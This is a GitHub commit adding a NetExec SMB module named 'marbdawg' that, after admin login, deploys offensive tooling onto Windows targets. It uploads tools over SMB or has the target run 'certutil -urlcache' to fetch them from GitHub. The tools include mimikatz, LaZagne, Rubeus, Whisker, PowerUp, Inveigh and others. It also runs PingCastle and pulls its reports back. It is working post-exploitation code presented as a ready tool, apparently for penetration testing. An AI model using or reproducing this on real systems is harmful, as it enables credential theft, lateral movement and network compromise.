Skip to content

Commit a25e26b

Browse files
committed
marbdawg beta 1.0
1 parent 4e6b978 commit a25e26b

1 file changed

Lines changed: 307 additions & 0 deletions

File tree

nxc/modules/marbdawg.py

Lines changed: 307 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,307 @@
1+
#!/usr/bin/env python3
2+
# -*- coding: utf-8 -*- # noqa: UP009
3+
4+
import os
5+
import requests
6+
from sys import exit
7+
8+
class NXCModule:
9+
"""SHOW THEM WHO THE MARBDAWG IS!!!"""
10+
name = "marbdawg"
11+
description = "Deploy marbdawg power"
12+
supported_protocols = ["smb"]
13+
opsec_safe = False
14+
multiple_hosts = True
15+
16+
def options(self, context, module_options):
17+
"""Configure module options."""
18+
self.LOCAL = module_options.get("LOCAL", "True")
19+
self.MODE = module_options.get("MODE", "all").lower()
20+
self.location = module_options.get("DIR", "C:\\Windows\\Tasks\\")
21+
self.overwrite = module_options.get("OVERWRITE", "False").lower()
22+
custom_tools = module_options.get("CUSTOM", "")
23+
if isinstance(custom_tools, str):
24+
self.custom_tools = custom_tools.split(",") if custom_tools else []
25+
elif isinstance(custom_tools, list):
26+
self.custom_tools = custom_tools
27+
else:
28+
self.custom_tools = []
29+
30+
if self.custom_tools and self.MODE != "custom":
31+
context.log.fail("CUSTOM provided but MODE is not set to 'custom'.")
32+
exit(1)
33+
34+
def on_admin_login(self, context, connection):
35+
"""Execute the selected technique upon admin login."""
36+
self.LOCAL = self.LOCAL.lower() == "true"
37+
self.overwrite = self.overwrite == "true"
38+
if not self.location.endswith("\\"):
39+
self.location += "\\"
40+
41+
if self.LOCAL:
42+
self.handle_local_mode(context, connection)
43+
elif self.MODE == "all":
44+
self.install_all(context, connection)
45+
elif self.MODE == "enum":
46+
self.deploy_enum_tools(context, connection)
47+
elif self.MODE == "exploit":
48+
self.deploy_exploit_tools(context, connection)
49+
elif self.MODE == "pingcastle":
50+
self.deploy_pingcastle(context, connection)
51+
elif self.MODE == "custom":
52+
self.deploy_custom_tools(context, connection, self.custom_tools)
53+
else:
54+
context.log.fail(f"Invalid MODE: {self.MODE}")
55+
56+
def handle_local_mode(self, context, connection):
57+
"""Handles the `local` mode for downloading tools locally and serving them via SMB."""
58+
context.log.highlight("Running in local mode...")
59+
tools = self.get_tools_based_on_mode()
60+
filenames = [tool.split("/")[-1] for tool in tools]
61+
62+
# Create local directory
63+
local_dir = "local_tools"
64+
os.makedirs(local_dir, exist_ok=True)
65+
66+
# Download tools locally
67+
context.log.highlight("Downloading tools locally...")
68+
for tool in tools:
69+
filename = tool.split("/")[-1]
70+
filepath = os.path.join(local_dir, filename)
71+
72+
if os.path.exists(filepath):
73+
context.log.highlight(f"{filename} already exists in {local_dir}, skipping download.")
74+
continue
75+
76+
context.log.highlight(f"Downloading {tool}...")
77+
response = requests.get(tool)
78+
with open(filepath, "wb") as f:
79+
f.write(response.content)
80+
context.log.highlight(f"Saved {filename} to {local_dir}.")
81+
82+
# Upload tools via SMB
83+
context.log.highlight("Uploading tools via SMB...")
84+
for filename in filenames:
85+
file_path = os.path.join(local_dir, filename)
86+
remote_path = f"{self.location}{filename}".replace("/", "\\")
87+
88+
# Check if the tool already exists on the target
89+
check_command = f'cmd.exe /c "if exist {remote_path} (echo {filename} already exists.) else (echo {filename} not found.)"'
90+
output = connection.execute(check_command, True)
91+
if f"{filename} already exists." in output and not self.overwrite:
92+
context.log.highlight(f"{filename} already exists on the target, skipping upload.")
93+
continue
94+
95+
context.log.highlight(f"Transferring {remote_path}")
96+
try:
97+
with open(file_path, "rb") as file_stream:
98+
connection.conn.putFile("C$", remote_path.replace("C:\\", ""), file_stream.read)
99+
context.log.highlight(f"Successfully uploaded {filename} to {remote_path} on the target.")
100+
except Exception as e:
101+
context.log.fail(f"Failed to upload {filename}: {e}")
102+
103+
# Handle PingCastle execution
104+
if self.MODE == "pingcastle":
105+
self.execute_and_transfer_pingcastle(context, connection)
106+
107+
def execute_and_transfer_pingcastle(self, context, connection):
108+
"""Executes PingCastle and transfers HTML and XML reports to the local system."""
109+
tools = self.get_tools_based_on_mode("pingcastle")
110+
zip_file = tools[0].split("/")[-1]
111+
exe_path = f"{self.location}PingCastle.exe"
112+
113+
# Check if PingCastle.exe is already unzipped
114+
check_command = f'cmd.exe /c "if exist {exe_path} (echo PingCastle already exists.) else (echo PingCastle not found.)"'
115+
output = connection.execute(check_command, True)
116+
pingcastle_exists = "already exists" in output
117+
118+
if not pingcastle_exists:
119+
# Unzip PingCastle
120+
unzip_command = (
121+
f'powershell -Command "Expand-Archive -Path \'{self.location}{zip_file}\' -DestinationPath \'{self.location}\' -Force"'
122+
)
123+
context.log.debug(f"Unzipping {zip_file}...")
124+
output = connection.execute(unzip_command, True)
125+
if "exception" not in output.lower():
126+
context.log.debug(f"Successfully unzipped {zip_file}.")
127+
else:
128+
context.log.fail(f"Failed to unzip {zip_file}. Output: {output}")
129+
130+
# Run PingCastle
131+
context.log.highlight(f"Running PingCastle from {exe_path}...")
132+
run_command = f"cmd.exe /c {exe_path} --healthcheck"
133+
try:
134+
output = connection.execute(run_command, True)
135+
context.log.highlight(output)
136+
except Exception as e:
137+
context.log.fail(f"Failed to execute PingCastle: {e}")
138+
139+
# Transfer HTML and XML reports to local directory
140+
local_dir = "./pingcastle_reports/"
141+
os.makedirs(local_dir, exist_ok=True)
142+
143+
context.log.debug("Listing PingCastle reports on the target...")
144+
try:
145+
reports = connection.conn.listPath("\\C$", "*")
146+
html_reports = [report for report in reports if report._SharedFile__shortname.endswith(".html")]
147+
xml_reports = [report for report in reports if report._SharedFile__shortname.endswith(".xml")]
148+
149+
for report in html_reports + xml_reports:
150+
if report.is_directory():
151+
continue
152+
report_filename = report._SharedFile__shortname
153+
remote_path = f"C:\\{report_filename}"
154+
local_path = os.path.join(local_dir, report_filename)
155+
156+
context.log.debug(f"Downloading {report_filename} to {local_dir}...")
157+
with open(local_path, "wb+") as file_stream:
158+
connection.conn.getFile("\\C$", report_filename, file_stream.write)
159+
160+
context.log.display(f"Successfully transferred {report_filename} to {local_path}.")
161+
162+
delete_command = f'cmd.exe /c "del {remote_path}"'
163+
connection.execute(delete_command, True)
164+
context.log.debug(f"Deleted {report_filename} from C:\\")
165+
context.log.highlight(f"You can find the reports in {local_dir}.")
166+
except Exception as e:
167+
context.log.fail(f"Failed to transfer reports: {e}")
168+
169+
def get_tools_based_on_mode(self, mode=None):
170+
"""Returns the list of tools based on the selected mode."""
171+
mode = mode or self.MODE
172+
tools = {
173+
"enum": [
174+
"https://raw.githubusercontent.com/61106960/adPEAS/refs/heads/main/adPEAS.ps1",
175+
"https://github.com/peass-ng/PEASS-ng/releases/download/20241201-e3889b61/winPEASx64.exe",
176+
"https://github.com/jakobfriedl/precompiled-binaries/raw/refs/heads/main/LateralMovement/CertificateAbuse/Certify.exe",
177+
"https://github.com/AlessandroZ/LaZagne/releases/download/v2.4.6/LaZagne.exe"
178+
],
179+
"exploit": [
180+
"https://github.com/jakobfriedl/precompiled-binaries/raw/refs/heads/main/LateralMovement/Rubeus.exe",
181+
"https://github.com/jakobfriedl/precompiled-binaries/raw/refs/heads/main/LateralMovement/Whisker.exe",
182+
"https://github.com/jakobfriedl/precompiled-binaries/raw/refs/heads/main/Scripts/PowerUp.ps1",
183+
"https://github.com/jakobfriedl/precompiled-binaries/raw/refs/heads/main/Scripts/Inveigh.ps1",
184+
"https://github.com/jakobfriedl/precompiled-binaries/raw/refs/heads/main/Scripts/Powermad.ps1",
185+
"https://github.com/jakobfriedl/precompiled-binaries/raw/refs/heads/main/Credentials/mimikatz.exe",
186+
],
187+
"pingcastle": [
188+
"https://github.com/vletoux/pingcastle/releases/download/3.3.0.1/PingCastle_3.3.0.1.zip"
189+
],
190+
"all": [],
191+
"custom": self.custom_tools
192+
}
193+
all_tools_set = set()
194+
all_tools_set.update(tools["enum"])
195+
all_tools_set.update(tools["exploit"])
196+
tools["all"] = list(all_tools_set)
197+
return tools.get(mode, ValueError(f"Invalid mode: {mode}"))
198+
199+
def install_all(self, context, connection):
200+
"""Install all tools."""
201+
context.log.highlight("Installing all tools...")
202+
self.deploy_enum_tools(context, connection)
203+
self.deploy_exploit_tools(context, connection)
204+
self.deploy_pingcastle(context, connection)
205+
if self.custom_tools:
206+
self.deploy_custom_tools(context, connection, self.custom_tools)
207+
208+
def deploy_enum_tools(self, context, connection):
209+
"""Deploy enumeration tools."""
210+
context.log.highlight("Deploying enumeration tools...")
211+
tools = self.get_tools_based_on_mode("enum")
212+
self.download_tools(context, connection, tools)
213+
214+
def deploy_exploit_tools(self, context, connection):
215+
"""Deploy exploitation tools."""
216+
context.log.highlight("Deploying exploitation tools...")
217+
tools = self.get_tools_based_on_mode("exploit")
218+
self.download_tools(context, connection, tools)
219+
220+
def deploy_pingcastle(self, context, connection):
221+
"""Deploy PingCastle."""
222+
context.log.highlight("Deploying PingCastle...")
223+
exe_path = f"{self.location}PingCastle.exe"
224+
check_command = f"cmd.exe /c if exist {exe_path} (echo PingCastle already exists.) else (echo PingCastle not found.)"
225+
output = connection.execute(check_command, True)
226+
pingcastle_exists = "already exists" in output
227+
228+
if not pingcastle_exists:
229+
# Step 1: Download PingCastle
230+
tools = self.get_tools_based_on_mode("pingcastle")
231+
self.download_tools(context, connection, tools)
232+
233+
# Step 2: Unzip PingCastle
234+
zip_file = tools[0].split("/")[-1]
235+
unzip_command = (
236+
f'powershell -Command "Expand-Archive -Path \'{self.location}{zip_file}\' -DestinationPath \'{self.location}\' -Force"'
237+
)
238+
context.log.highlight(f"Unzipping {zip_file}...")
239+
output = connection.execute(unzip_command, True)
240+
if "exception" not in output.lower():
241+
context.log.highlight(f"Successfully unzipped {zip_file}.")
242+
else:
243+
context.log.fail(f"Failed to unzip {zip_file}. Output: {output}")
244+
245+
# Step 3: Run PingCastle
246+
context.log.highlight(f"Running PingCastle from {exe_path}...")
247+
run_command = f"cmd.exe /c {exe_path} --healthcheck "
248+
output = connection.execute(run_command, True)
249+
context.log.highlight(output)
250+
251+
# Step 4: Transfer results to local directory
252+
local_dir = "./pingcastle_reports/"
253+
os.makedirs(local_dir, exist_ok=True)
254+
255+
context.log.highlight("Listing PingCastle reports on the target...")
256+
try:
257+
reports = connection.conn.listPath("\\C$", f"{self.location[3:]}*.html")
258+
for report in reports:
259+
if report.is_directory():
260+
continue
261+
262+
report_filename = report.filename
263+
remote_path = f"{self.location[3:]}\\{report_filename}"
264+
local_path = os.path.join(local_dir, report_filename)
265+
266+
context.log.highlight(f"Downloading {report_filename} to {local_dir}...")
267+
with open(local_path, "wb") as file_stream:
268+
connection.conn.getFile("\\C$", remote_path, file_stream.write)
269+
270+
context.log.highlight(f"Successfully transferred {report_filename} to {local_path}.")
271+
272+
delete_command = f'cmd.exe /c "del {remote_path}"'
273+
connection.execute(delete_command, True)
274+
context.log.highlight(f"Deleted {report_filename} from C:\\")
275+
except Exception as e:
276+
context.log.fail(f"Failed to transfer reports: {e}")
277+
278+
def deploy_custom_tools(self, context, connection, custom_tools):
279+
"""Deploy custom tools."""
280+
context.log.highlight("Deploying custom tools...")
281+
for tool_url in custom_tools:
282+
try:
283+
tool_name = tool_url.split("/")[-1]
284+
local_path = os.path.join("./custom_tools/", tool_name)
285+
os.makedirs(os.path.dirname(local_path), exist_ok=True)
286+
287+
context.log.debug(f"Downloading {tool_name} from {tool_url}...")
288+
response = requests.get(tool_url)
289+
with open(local_path, "wb") as file:
290+
file.write(response.content)
291+
292+
context.log.display(f"Successfully downloaded {tool_name} to {local_path}.")
293+
except Exception as e:
294+
context.log.fail(f"Failed to download {tool_url}: {e}")
295+
296+
def download_tools(self, context, connection, tools):
297+
"""Helper function to download and save tools to the target system."""
298+
for tool in tools:
299+
filename = tool.split("/")[-1]
300+
destination = f"{self.location}{filename}"
301+
context.log.highlight(f"Downloading {tool} to {destination}...")
302+
command = f'cmd.exe /c certutil -urlcache -split -f "{tool}" "{destination}"'
303+
output = connection.execute(command, True)
304+
if "successfully" in output.lower():
305+
context.log.highlight(f"Successfully downloaded {filename} to {destination}.")
306+
else:
307+
context.log.fail(f"Failed to download {filename}. Output: {output}")

0 commit comments

Comments
 (0)